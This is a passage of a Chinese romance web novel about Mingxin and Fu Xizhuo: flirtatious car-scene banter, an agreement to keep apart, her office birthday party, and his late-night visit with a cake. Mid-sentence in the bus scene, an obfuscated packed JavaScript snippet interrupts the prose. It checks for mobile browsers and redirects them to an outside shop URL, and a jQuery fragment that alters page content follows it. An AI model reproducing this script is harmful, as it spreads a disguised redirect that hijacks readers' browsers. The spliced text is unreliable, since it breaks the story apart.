傅西灼按亮了头顶的灯。“这些随便你怎么处理,”他指了指她头上的针织帽,“我只要这个。” 铭心迅速拿手捂住头顶,生怕他给薅了去,“这个也有我的一份力啊,我加工过了。” 帽子其实是帽子围巾手套三位一体的,她从头上调走一只手,移到下面的手套上,点了点:“这里的图案,我亲手缝上的,怎么能只算你的呢?” 她不愿给,只好强词夺理。 “那干脆拆成毛线称重,一半归我一半归你?”傅西灼冷笑,出了个主意。 “不好,这个方案不好。”铭心摇摇头,围巾连着的两个手套跟着晃,“我建议咱们一人围一段时间,这个冬天我先围,明年冬天我还你,怎么样?” “围哪,围这儿?”傅西灼指了指自己的脖子,把想露出给人的部位刻意朝向灯光。 铭心就看到了那道已经不太明显但仍存在的“红线”。她努了努嘴:“你是脆皮怪吗?怎么能到现在还没好。” “被某人投毒了所以好得慢,”他拿手套一抽,毛绒绒的手套大拇指轻轻掠在她嘴唇上,“用这里。” 呆了两秒。 铭心突然把帽子撸下来盖住眼,脸红透了。 不是,他是怎么把这么肉麻的事说得这么自然的? 就像说今天午饭吃了鱼香肉丝一样。 深吸一口气,铭心决定不再理会他话里的挑衅(又或者是调情?)意味,只反驳表面事实:“你别无中生有了好吗?我什么时候给你下过毒?” “看来真的不记得了啊。” 帽子织得很密,盖住眼什么也看不到。 铭心只听到他的声音——含着点笑的,语声很轻。 “恰好我今天心情很坏。” 越来越近的尾音。他的呼吸喷在她半边腮颊,很热。 “……所以打算,帮你想起来。” 下一秒,柔软而湿润的,什么东西,咬住了她的上唇。 24. 第 24 章 铭心炸了毛。 一把把帽子掀了,瞪大眼睛,她跟他四目相视:“你怎么我了,刚刚?” “……” 又定睛一看,他手中什么都没有。 难道,真是他“咬”她了? 要说是咬吧,力道上来说又没那么重。 那东西很温柔,似乎并没有伤害她的意思,只是以接触为意图。 要是时间再长一点,她准能分辨得出来是不是他的器官。可方才只是那么恶劣而短暂的一触,她有点摸不着头脑。 只有嘴唇麻麻的,证明着确实在几秒前受到过“虐待”。 “你也是这么对我的。”被她眼神的怒火焚烧了会儿,傅西灼淡淡回了句嘴。 “我对你,我怎么对你了?” “被亲了又没什么还手的余地,想讨个公道人又已经睡着……”傅西灼的声音不大,像被她压着,透出委屈。 轻叹一口气,他往后座上一窝,上目线看她。 太会卖可怜! 理智告诉铭心她必须警惕这样的男人。 语气却还是软下来:“你力气那么大,什么叫没有还手的余地?” “意思是,”他嬉皮笑脸,“不想还手。” 铭心忍着揪领子把他扔出车外的冲动,“啊”了一声,故意道:“我知道了,你是受虐体质,别人怎么对你你都不会还手是吧?” “是你怎么对我。” “我怎么对你你都不还手?”那正好,“你起来。”铭心说。 他倒真挺听话,缓慢起身。 还没等他把腰背挺直,铭心就单手掐住他脖子,往后,一路推到车门上。 她几乎没用力气,只是虚虚触在上面,“受害者”就配合着她一路往后倒。 抵到车门上,他反倒很享受似的,笑着看她。 挑!衅! 铭心却顾不得教训他了。 干正事重要。 另只手绕过他腰,从他身后捞出样东西,往他面前一怼,铭心问:“你刚刚用这个东西碰了我吧?” 原本是想以其人之道还治其人之身来着。 又怕这模样怪异的蘑菇碰到他鲜嫩娇弱的少爷嘴唇,引发过敏什么的。 总之,她宽宏大量,没让蘑菇跟他亲密接触。 傅西灼更是,自始至终没有垂眼关怀过那蘑菇一分一秒,只是看着她。 “路过超市买的,”他愉悦地介绍蘑菇的身世,“打算明天烧汤,据说口感很软,很嫩。” 铭心怀疑他在内涵什么,但她不是为了小节不顾大事的人。 把炖汤很软嫩的蘑菇又塞回他身后的袋子里,铭心顺道探头往那白花花的袋子里打了眼,皱眉:“这东西真没毒吗?我怎么感觉它碰我以后我嘴就麻麻的?” 傅西灼接收到了她怀疑的目光,也只是说:“心理作用吧,比如你想成别的了。” “……”铭心冷笑:“你别不信,你现在嘴不麻是因为我放了你一马,没把这东西贴到你嘴唇上去,真贴上你就老实了。” “哦,那为什么放我一马?” “还不是因为您身娇肉贵的,我怕生病了又讹上我啊,到时候欺负我做这做那的,我可吃不消。” 傅西灼突然不说话了。 铭心讪讪地,把按在他锁骨上的手移开:“……你那是什么眼神,就好像我揍了你一顿似的。老天作证啊我真没用力。” “你觉得我做的一切,都只是在欺负你吗?” “就……”铭心避开他的眼神,“有时候是欺负到我了啊。” 他又默声。 铭心接着提议:“不然我们停战吧,好不好?” 傅西灼气笑:“我是向你开枪了还是朝你扔炸弹了?” “不是字面上的意思。”铭心想了想,筹备措辞,“把我的生活搞得一团乱也是一种不见血的战争啊。” “自从你出现以后,我觉得我被你搞得晕头转向的。平时一直在吃的工作餐也不觉得好吃了,就好像跟你一起吃的大餐才叫‘人该吃的饭’似的;工作效率也下降了,因为老拿起手机看来看去,明明没人给我发消息。……还有,总是不知道会在什么地方碰见你,会发生什么。” “我们别再这样了,就暂时躲着点对方,让我缓一缓行吗?” 一口气说完这许多,铭心有种松了一口气但丢盔弃甲的感觉。 面对他的接近、碰触,像面临一场怎么也打不赢的仗。 只能狼狈地告饶,然后逃。 听完她的话,傅西灼笑了笑。 很惨淡地,他说:“明明是赶人走的话,我却总听着像告白呢。” 良久。 “就按你说的办吧。”他开了车门,请她:“下车。” - 新的小鱼已经在新鱼缸里生活了许多天,生日那天,铭心给小鱼也加了餐。 喂完鱼去公司。 部门小群里热火朝天。 【铭心,生日聚会哥们就不去了,明天给你带早餐吃。】 【你说不去就不去啊?】 【就是就是,别挣扎了,一个也跑不了。】 看见部门大群里刚发的,今天下班后去蓝海大酒店举行历铭心生日聚会的通知,铭心弱弱在群里回复:【对不起……】 谁能想到过个生日还成了罪人呢。 有人发了个摸摸头的表情包。 其他人也接力摸头安慰。 【这跟你也没多大关系,纯属领导犯病,谁都看得出来这生日只是幌子,他就是想让我们加班,今天你生日明天他生日,换成谁都一样。】 【是啊。】一向在群里潜水不发言的实习生也忍不住跳出来发言。 【为了体现「大家庭」的和睦,组里所有人举行party帮成员「庆祝生日」,可时间非要选「晚上」,而且订购的蛋糕「八点到」,为了等蛋糕,需要所有人「加班」到七点半】她总结道: 【这要发到网上去,妥妥一篇血泪史】 【哎呀光发牢骚了,还没祝铭心生日快乐呢】 【生日快乐!】 【生日快乐啊铭心!】 【铭心宝宝又长一岁!】 铭心在群里发了n个【谢谢】的表情包,又给自己放了会儿烟花。 这不是今天的第一个生日快乐,从早上开始各大商家都发了短信给她祝福。 可遥远的祝福和身边人好像又不一样,尽管和同事并不亲近,此刻收到的祝福总是真的。铭心还是轻微地,受了感动。 好久没有这么大张旗鼓地庆祝生日了。 从前生日,都是他陪她过的。 而已经有十九天,她没有看见他了。 ……铭心的心沉下来点,打字的手也不动了。 她发现不需要躲,她按照自己的生活轨迹来走的话,压根不可能会碰见他。 之前那些遇见,都是他来找她,或者大概……是他刻意制造的偶遇。 - 晚上八点,蛋糕准时来到。 吹灭了蜡烛,同事们兴高采烈围她在中间,唱了生日快乐歌。 之后是分蛋糕,互相把奶油往对方脸上抹,唱k。 连空气都很闹腾。 铭心却独自静静地,坐在角落里吃果盘。 用牙签戳起一块梨——离,一转念,担忧寓意不好,赶忙叫了同事来帮忙解决掉,自己又拿一块橙子吃。 橙子,心想事成嘛。 咬了一口,又觉得自己有点可笑。 从前哪有那么多讲究?怎么今天变成个惊弓之鸟了。 心想事成,心想事成。 她在想什么,又想成什么呢? 吃到最后,一盘子水果只剩了梨,铭心停了嘴,把电话接起来。 没想到是他打来的。 好像在外面,有风声,声音也有些发哑。 “有个问题,请教一下。”傅西灼说。 他话突然说得这样客气,铭心怔了怔。 “嗯。” 在同事杀猪般唱如果大海能够带走我的思念的吵闹声中,铭心拿手捂住了听筒,应了声:“你说。” “想买个相机,推荐一下。” 特别没头没脑的一句话,也不说用途,突然要她推荐,而且这种问题明明是他比较了解吧? 大学时候她买第一个相机还是他帮忙挑的,当时还做了个ppt给她总结各大品牌优缺点呢。怎么现在反过来问她? 不过……那天他们在海边拍照的时候他确实有提过要换个相机。 回想了一下他的ppt内容,没想起啥来,铭心只好笼统地给了个答复:“如果只是日常拍照的话,大品牌的基础款应该都能用吧。”她真不懂,乱说的。 “如果是拍视频呢?” “这样的话我推荐……”话没说完,她突然听到一声熟悉的叫卖声。 是小区里卖臭豆腐的大婶的声音。 铭心愣住。 没来得及想自己是不是幻听,就听见他叫她的名字。 “铭心。”声音很轻很轻地,他问,“你在哪里?” “同事们帮忙办的生日宴。”停顿了下,犹豫着要不要说。 最终还是说了:“快结束了,但……如果你想来的话,我发给你地址。” “不用了,”他说,“我很忙,不会去。” 不来算了。我一点都不期待。 “主人公干嘛呢怎么一直打电话呀!来唱歌!”又被同事扯过去。 她坐到点歌台前面的凳子上,面无表情地切了那首《大海》。 正准备飙高音的男同事一愣:“怎么了?” 铭心冷着脸,心情很差,“你不要想出道了,真的很难听。” 男同事笑呵呵放了麦克风:“好的导师。今天生日你怎么还生气了?” 我生气了吗? 原来我是在生气啊。 自己倒是没意识到,一通电话,给她带来这样的情绪波动。 …… 一直玩到很晚才散,回程的公交车上空无一人,铭心找了最后排靠窗的位置坐,看了看表,已经十一点半了。 司机猛然刹了下车,铭心身子往前一倾,迅速把住前座的靠背。摇摇晃晃之中,她突然想到他。 如果他坐在这里的话,一定晕车晕到不行了。 也因为想到他,她抬起头来,看到前面空空荡荡的座位,觉得一阵怅惘。 没有他帮忙过的生日,她感到无限的寂寞。 可是过往几年不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404415|198943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是没有他吗? 早该习惯了的事,她不明白怎么今天又这样伤心。 或许……是因为他又出现了吧。 像失而复得的宝物,因为有过复得时的欣喜,如果重又失去,难过的心情就要再重上十层。 她赶快侧过眼去,让窗外的景色冲淡乱飞的思绪。不能再想,不好的事想一想,就总怕成了真。 拉开一点窗,夜风习习地溜进来,带着花香。 路边是影影绰绰的树的影子,没看到哪棵树上有花,可是分明已经有了某种粉色花瓣的香气。 春天来了。 到了单元楼下。 熟悉的车。 她对车的品牌不太了解,对logo却很敏感,她确信,傅西灼的车就是这种logo。 可他分明说过他很忙的,怎么车子会出现在这里? 是别人的吗? 她住的小区,一间整租房的月平均租金也不超过2500块,会有开豪车的人住在这里吗? 手先于大脑,已经把电话拨出去。 那端传来冰冷的提示音:您所拨打的用户已关机…… ……不对。 他们在一起上千个日夜,她从来没有遇到过他电话关机的情况。 他对一切身边物品的养护都很讲究,如果说她是手机电量剩5%才会在自动关机的上一秒手忙脚乱去找充电器的人,那他就是严格遵守电池养护法则的人。但凡低于40%,工作之外不管在玩什么,都会立刻关掉去充电,不会有手机瘾这种东西。 电话未接通,又看不到车里面有没有人。 她怀着不明确的希望,在车前挥了挥手。 过了几秒,车门开了。 一个裹着羽绒服的高个帅男下了车。 冬天愣要穿大衣的人,怎么到春天了又整上羽绒服? “你很冷?”抱着调侃的心态,她用手背贴了贴他手指。 冰的。 裹着大厚羽绒服,在春天,这正常吗? “你怎么了?” 她担忧地,把手移到羽绒服上,一摸,凉的;摸摸头发,也是凉的。 跟个小冰人似的。 “不舒服吗?” 他不回话,铭心有点着急:“你要不说咱们就去医院,把车钥匙给我。” 今时不同往日,她已经有了不一般的开车技术。 一拉车门—— 一股冷气袭来。 “……” 沉默了片刻。 铭心回过身,问:“你是在车里制冰吗?” 为什么要在车里大开冷气把温度调到巨低啊! “你是在担心我吗?”他答非所问。 “身体太热了所以想降降温是吧?” “不是只摸了衣服吗,怎么知道身体热。” “我说反话听不出来?” “听出来了。” “那还笑,挨我骂很开心?” “开心。” “……”这真是,没招。 铭心懒得再跟他斗嘴,开始纠察原因:“所以手机是因为太冷才冻关机了?” “给我打电话了,”他反问,“为什么?” “你真的……” “有事找我?” “没有。” “一般打电话找人不外乎两个原因——有事,和第二种原因。既然没事,那自然就是第二种了。” 铭心想听听他还能有什么惊人的花样:“第二种是什么?” “你想见我。” “……” 铭心一时哑口。 顿了顿,她举一反三:“那你呢,你是因为有事才打给我的吧?因为要问相机的事。” 他摇头:“我是第三种原因。” 铭心这下真对他的花样刮目相看了:“什么?” “月亮。”他没看月亮,而在看她。“因为你这边的月亮比较圆。” 铭心真觉得自己在这大晚上,被鬼给迷了心窍了。 不然怎么不回家一直听着他在这胡言乱语呢。 但转念一想,他的个性,不会真没事找事,估计是在车里真有什么东西。 “把你制的冰块给我拿出来冰冰脑子,我现在有点头脑发昏,需要清醒一下。”她用开玩笑的口气。 听话地,他打开了车门。 从后座拿出的,却是一个蛋糕。 从壳子的透明部分可以看出那蛋糕很精美,奶油一点都没有融化,大概是车内温度低的缘故。 ……车内温度低。 她蓦地想到—— 所以他是因为。 因为要防止蛋糕塌陷,所以才往死里开冷气的? 一看他,铭心眼眶有点发酸。 “生日快乐。” 他把蛋糕递给她,说:“路上捡的。” 铭心去接那蛋糕,紧跟着肩膀一沉,很冰。 是他把额头靠上来,嘴上说:“冷死了。” 铭心心软得一塌糊涂。 ……可她一人住的家里,真的要捡进一个可怜又狡黠的男人吗? 不想引狼入室,可他又冷着呢。 没时间思考过多了,铭心把眼一闭: “你跟我上楼。”